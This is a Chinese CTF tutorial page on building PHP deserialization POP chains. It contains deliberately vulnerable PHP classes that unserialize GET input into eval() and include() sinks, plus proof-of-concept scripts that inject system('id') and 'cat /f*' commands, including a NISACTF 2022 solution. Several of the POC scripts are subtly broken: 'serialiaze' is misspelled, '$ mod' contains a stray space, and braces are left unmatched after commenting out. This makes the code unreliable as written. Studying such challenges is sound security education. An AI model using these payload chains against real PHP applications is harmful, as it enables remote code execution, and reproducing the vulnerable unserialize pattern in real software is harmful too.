php反序列化中的pop链

目录

一、什么是POP

二、成员属性赋值对象

例题： 

方法一

方法二 

 三、魔术方法的触发规则

例题： 

四、POC的编写 

例题1：

例题2   [NISACTF 2022]babyserialize

今日总结：

一、什么是POP

在反序列化中，我们能控制的数据就是对象中的属性值（成员变量），所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”，即pop（property oriented programming）。

php反序列化：PHP反序列化_在线反序列化-CSDN博客

pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.

二、成员属性赋值对象

例题： 
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test; //$test为私有属性
    public function __construct(){
        $this->test = new normal(); 调用魔术方法__construct,test = new normal()
    }
    public function __destruct(){
        $this->test->action(); //__destruct()从$test调用action()
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2); //漏洞点，利用eval()函数来执行代码，调用test2
    }
}
unserialize($_GET['test']);
?>

 分析代码可得：

1、利用反序列化触发__destruct()从$test中调用action()

2、正常情况下我们会new index()，但实例化触发__construct()导致new normal()

3、new normal()会导致__destruct()从$test中调用的action()是normal类中的，而我们要的是evil类中的action()，所以给$test赋值为对象new evil()

方法一

实例化index()，直接触发__construct的魔术方法

<?php
class index {
    private $test;   
    public function __construct(){
        $this->test = new evil();
    }
  //  public function __destruct(){
  //      $this->test->action();   
    }
}
// class normal {
//    public function action(){
//        echo "please attack me";
    }
}
class evil {
    var $test2 = "system('id');";
}
$a=new index();
echo serialize($a);  
?>

方法二 

直接调用属性test2

<?php
class index {
    var $test;
}  
class evil {
    var $test2;
}
$a= new evil();
$a ->test2="system('id');";
$b= new index();
$b ->test=$a;
echo serialize($b);
?>

 三、魔术方法的触发规则

魔术方法触发前提：魔术方法所在类（或对象）被调用

例题： 
<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __toString(){
        echo "toString is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);
?>
目标：显示wakeup is here!!toString is here!!

解题：

<?php
class fast {
    public $source;
//    public function __wakeup(){
//        echo "wakeup is here!!";
//        echo  $this->source;
//    }
}
class sec {
    var $benben;
//    public function __toString(){
//        echo "toString is here!!";
//    }
}
$a=new fast();    //实例化fast
$b=new sec();    //实例化sec
$a->source=$b;    //将source赋值为$b
echo serialize($a);    //在触发__wakeup()后执行echo从而触发__toString()    
?>

四、POC的编写 

poc（proof of concept）中文译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序，仅仅是为了证明提出者的观点的一段代码。

编写一段不完整的程序，以获取所需要的序列化字符串。

例题1：
 <?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;    //目标：触发echo，调用$flag
    }
    public function __invoke(){    //__invoke()触发时机：把对象当成函数
        $this->append($this->var);    //触发__invoke()调用append，并使$var=flag.php
    }
}
 
class Show{
    public $source;
    public $str;
    public function __toString(){  
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}
 
class Test{
    public $p;
    public function __construct(){    //无用
        $this->p = array();
    }
 
    public function __get($key){
        $function = $this->p;
        return $function();    //可能把对象当成函数使用的地方
    }
}
 
if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 
目标：触发echo调用$flag

 解决此题之前，需要知道各个魔术方法的触发条件

触发__invoke()：把对象当成函数使用；

触发Test中的__get()：调用的成员属性不存在；

触发Test中的__toString()：把对象当成字符串调用；

触发__wakeup()：反序列化unserialize之前

1.知道此题的魔术方法的触发条件之后，然后我们来分析，主要使用到了反推法，根据代码可得，要echo $flag，就要使用到append这个函数，而触发这个函数需要触发__invoke这个魔术方法

2.找到把对象当成函数使用的地方，return $function(),$function被赋值为p，又要触发__invoke，所以p需要赋值为 new Modifier();这里需要触发__get这个魔术方法，找到Test中它不存在source这个成员变量

3.这里就注意到Show这个类里面的东西，如果调用__wakeup()里的source触发echo,触发echo则触发__toString()，__toString()里面会调用$str,$str再调用它里面的source，此时给$str赋值为new Test()，Test中不含有source触发 __get()

4.调用了__wakeup()，就需要将$source赋值为new Show(),反序列化$source触发wakeup()

分析完成，编写poc

 <?php
//flag is in flag.php
class Modifier {
    private $var='flag.php';
  //  public function append($value)
  //  {
 //       include($value);
 //       echo $flag;   
 //   }
 //   public function __invoke(){    
 //       $this->append($this->var);    
 //   }
}
 
class Show{
    public $source;
    public $str;
 //   public function __toString(){  
 //       return $this->str->source;
 //   }
 //   public function __wakeup(){
 //       echo $this->source;
 //   }
}
 
class Test{
    public $p;
 //   public function __construct(){    
 //       $this->p = array();
    }
 
 //   public function __get($key){
 //       $function = $this->p;
 //       return $function();   
//    }
}
$mod=new Modifier();
$show=new Show();
$test=new Test();
$test ->p=$ mod;
$show ->str=$test;
$show ->source=$show;
echo serialiaze($show);
?>

例题2   [NISACTF 2022]babyserialize

相关的魔术方法：

名称触发条件
__wakeup()执行unserialize()时，先会调用这个函数
__call()在对象上下文中调用不可访问的方法时触发
__set()对私有成员属性进行设置值时自动触发
__toString()__toString()
__invoke()当尝试将对象调用为函数时触发

分析题目可得

（1）eval反推到__invoke
这里先看到eval，而eval中的变量可控，所以肯定是代码执行，而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。

（2）__invoke反推到__toString
在Ilovetxw类的toString方法中，返回了return $bb;
__ToString方法，是对象被当做字符串的时候进行自动调用
  
（3）__toString反推到__set
在four的__set中，调用了strolower方法。如果不清楚，可以具体看下文档。
  
（4）从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法，而__call方法又可直接反推到TianXiWei中的__wakeup

构造POC链

<?php
class NISA{
    public $fun;
    public $txw4ever;
 //   public function __wakeup()
 //   {
 //       if($this->fun=="show_me_flag"){
 //           hint();
 //       }
    }

 //   function __call($from,$val){
 //       $this->fun=$val[0];
 //   }

//    public function __toString()
//    {
 //       echo $this->fun;
//        return " ";
//    }
//    public function __invoke()
//    {
 //       checkcheck($this->txw4ever);
//        @eval($this->txw4ever);
 //   }
//}

class TianXiWei{
    public $ext;
    public $x;
 //   public function __wakeup()
 //   {
 //       $this->ext->nisa($this->x);
 //   }
}

class Ilovetxw{
    public $huang;
    public $su;

   // public function __call($fun1,$arg){
   //     $this->huang->fun=$arg[0];
  //  }

  //  public function __toString(){
  //      $bb = $this->su;
  //      return $bb();
  //  }
}

class four{
    public $a;
    private $fun;

   // public function __set($name, $value)
 //   {
  //      $this->$name=$value;
   //     if ($this->fun = "sixsixsix"){
    //        strtolower($this->a);
   //     }
   // }
}
$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;

echo urlencode(serialize($a));
?>

传参，得到flag

今日总结：

1.构造pop链，需要先分析代码

2.找到pop链的开端，再使用反推法，一个一个魔术方法的绕过

3.能够理解魔术方法的触发条件

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/674599.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

Git配置免密登录Github

Git配置免密登录Github

1、登录 GitHub &#xff0c;点击右上角头像&#xff0c;选中 Settings (设置)。 在 https://github.com 登录你的帐号&#xff0c;登录以后点击右上角你的头像的Settings 如果没有设置&#xff0c;输入下面的指令进行设置&#xff1a; git config --global user.name “用户名…
阅读更多...
【启明智显技术分享】sigmastar ssd202d双网口开发板多串口调试说明

【启明智显技术分享】sigmastar ssd202d双网口开发板多串口调试说明

提示&#xff1a;作为Espressif&#xff08;乐鑫科技&#xff09;大中华区合作伙伴及sigmastar&#xff08;厦门星宸&#xff09;VAD合作伙伴&#xff0c;我们不仅用心整理了你在开发过程中可能会遇到的问题以及快速上手的简明教程供开发小伙伴参考。同时也用心整理了乐鑫及星宸…
阅读更多...
cesium 的初步认识

cesium 的初步认识

Cesium是一个基于JavaScript开发的WebGL三维地球和地图可视化库。它利用了现代Web技术&#xff0c;如HTML5、WebGL和WebAssembly&#xff0c;来提供跨平台和跨浏览器的三维地理空间数据可视化。Cesium的主要特点包括&#xff1a; 跨平台、跨浏览器&#xff1a;无需额外插件&am…
阅读更多...
4个免费音频转换器：解放您的音频文件格式转换需求

4个免费音频转换器：解放您的音频文件格式转换需求

在日常生活和工作中&#xff0c;我们经常需要处理各种音频文件&#xff0c;但有时候这些文件可能并不是我们需要的特定格式。在这种情况下&#xff0c;一个免费的音频转换器就能派上用场。免费音频转换器是一种非常实用的工具&#xff0c;它可以帮助我们将不同格式的音频文件相…
阅读更多...
C++栈、队列

C++栈、队列

文章目录 目录 文章目录 前言 一、stack、queue介绍 1.stack 2.queue 二、stack、queue的习题 1. 最小栈 2. 栈的压入、弹出序列 3.二叉树的层序遍历 三、stack和queue的模拟实现 1.stack的模拟实现 2.queue的模拟实现 前言 栈和队列是俩种特殊的容器&#xff0c;C在实现栈和队…
阅读更多...
contentType 与 dataType

contentType 与 dataType

contentType 与 dataType contentType contentType&#xff1a;发送的数据格式&#xff08;请求方发送给服务器的数据格式&#xff09;&#xff0c;这个内容会放在请求方的 请求头中 application/x-www-form-urlencoded 这个是默认的请求格式。 提交给后台的数据会按照 KV&am…
阅读更多...
瑞意教育集团阳光助学 军训展风采 青春正当时2024级新生军训圆满落幕

瑞意教育集团阳光助学 军训展风采 青春正当时2024级新生军训圆满落幕

为推进全民素质教育,弘扬爱国主义精神,增强学生的国防意识,培养顽强的意志品格,5月7日—5月10日,瑞意教育集团举行2024级新生军训活动。 2024年5月7日上午8点,瑞意教育集团2024级新生军训动员大会在学校体育场举行,学校校长郭禹彤出席动员大会,并强调注意事项。 "立正!&qu…
阅读更多...
AIGC绘画基础——Midjourney关键词大全+万能公式

AIGC绘画基础——Midjourney关键词大全+万能公式

距发布MJ初级注册入门教程已有时日&#xff0c;很多粉丝表示很有用&#xff0c;但关键词有很多人不知如何组合使用&#xff0c;那今天再给大家更新一期&#xff0c;主要是教大家如何用关键词、把控关键词描述&#xff0c;除此之外在文末更新了一大堆关键词给大家使用~ 一、Midj…
阅读更多...
算法工程师需要学习C++的哪些知识？

算法工程师需要学习C++的哪些知识？

在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「C的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01;以下是算法工程师需要学习的一些…
阅读更多...
韶关学院携手泰迪智能科技“见习研学”活动圆满结束

韶关学院携手泰迪智能科技“见习研学”活动圆满结束

为进一步深化校企合作&#xff0c;落实高校应用型人才培养。5月31日&#xff0c;韶关学院与广东泰迪智能科技股份有限公司联合开展学生企业见习活动。专业教师林思思以及来自韶关学院140名学生参与此次见习活动&#xff0c;泰迪智能科技培训业务部经理钟秋平、校企合作经理吴桂…
阅读更多...
linux系统getopt_long函数使用

linux系统getopt_long函数使用

在linux程序中&#xff0c;我们还经常看见使用--标识输入参数的&#xff0c;这种就需要使用getopt_long函数来解析。 如下使用方式&#xff1a; while ((opt getopt_long(argc, argv, short_options, long_options, &option_index)) ! -1) { //...... } 参数longopts结…
阅读更多...
【Python入门学习笔记】Python3超详细的入门学习笔记，非常详细（适合小白入门学习）

【Python入门学习笔记】Python3超详细的入门学习笔记，非常详细（适合小白入门学习）

Python3基础 想要获取pdf或markdown格式的笔记文件点击以下链接获取 Python入门学习笔记点击我获取 1&#xff0c;Python3 基础语法 1-1 编码 默认情况下&#xff0c;Python 3 源码文件以 UTF-8 编码&#xff0c;所有字符串都是 unicode 字符串。 当然你也可以为源码文件指…
阅读更多...
VSCode编译C++代码

VSCode编译C++代码

1. 自定义编译 主要通过 设置任务&#xff08;动作&#xff09;来实现。 tasks.json文件相当于vscode的.sh或.bat文件&#xff0c;用来记录一系列操作的宏。 一系列动作&#xff0c;那就可以用来设置 如何编译文件&#xff0c;如何 运行文件&#xff0c;几乎.sh能干的都可以干…
阅读更多...
三维地图校内导航系统解决方案

三维地图校内导航系统解决方案

在如今的数字化时代&#xff0c;越来越多的学校开始实施智慧校园计划&#xff0c;旨在为学生和教师提供更高效、便捷的学习和教学环境。智慧校园运用互联网、大数据、人工智能等技术&#xff0c;对校园内各信息进行收集、整合、分析和应用&#xff0c;实现教学、管理、服务等多…
阅读更多...
python-旋转字符串

python-旋转字符串

问题描述&#xff1a;给定一个字符串&#xff08;以字符串数组的形式&#xff09;和一个偏移量&#xff0c;根据偏移量从左到右地旋转字符数组。 问题示例&#xff1a;输入str”abcdefg”,offset3,输出“efgabcd”。输入str”abcdefg”,offset0,输出“abcdefg”。&#xff08;返…
阅读更多...
深度解析：速卖通618风控下自养号测评的技术要点

深度解析：速卖通618风控下自养号测评的技术要点

速卖通每年的618大促活动平台的风控都会做升级&#xff0c;那相对的测评技术也需要进行相应的做升级&#xff0c;速卖通618风控升级后&#xff0c;自养号测评需要注意以下技术问题&#xff0c;以确保测评 的稳定性和安全性&#xff1a; 一、物理环境 1. 硬件参数伪装&#x…
阅读更多...
Linux 36.3 + JetPack v6.0@jetson-inference之目标检测

Linux 36.3 + JetPack v6.0@jetson-inference之目标检测

Linux 36.3 JetPack v6.0jetson-inference之目标检测 1. 源由2. detectnet2.1 命令选项2.2 下载模型2.3 操作示例2.3.1 单张照片2.3.2 多张照片2.3.3 视频 3. 代码3.1 Python3.2 C 4. 参考资料 1. 源由 从应用角度来说&#xff0c;目标检测是计算机视觉里面第二个重要环节。之…
阅读更多...
商家转账到零钱功能千次开通操作分享

商家转账到零钱功能千次开通操作分享

小程序地理位置接口有什么功能&#xff1f; 通常在申请开通getLocation 接口被驳回&#xff0c;驳回理由“申请的接口因提供的申请原因/辅助图片/网页/视频内容/无法确认申请接口使用场景”。原因是没有准确提供在那个场景调取地图定位功能&#xff0c;可以按以下步骤提供使用地…
阅读更多...
AI预测福彩3D采取888=3策略+和值012路一缩定乾坤测试6月3日预测第10弹

AI预测福彩3D采取888=3策略+和值012路一缩定乾坤测试6月3日预测第10弹

昨天的第二套方案再次成功命中&#xff01;今天继续基于8883的大底&#xff0c;使用尽可能少的条件进行缩号。好了&#xff0c;直接上结果吧~ 首先&#xff0c;888定位如下&#xff1a; 百位&#xff1a;7,6,8,5,9,2,1,0 十位&#xff1a;6,7,8,5,9,…
阅读更多...
Algorand 的复兴之路：改变游戏规则，打造 RWA 第一公链

Algorand 的复兴之路：改变游戏规则，打造 RWA 第一公链

TLDR 发布 AlgoKit 2.0&#xff0c;支持 Python 原生语言&#xff0c;打造开发者友好的开发环境&#xff0c;Algorand 的开发者社区规模迅速扩大。 升级共识激励机制&#xff0c;用 ALGO 奖励共识节点参与共识的执行&#xff0c;增加 ALGO 的应用场景&#xff0c;同时进一步确…
阅读更多...
最新文章

Copyright @ 2022~2023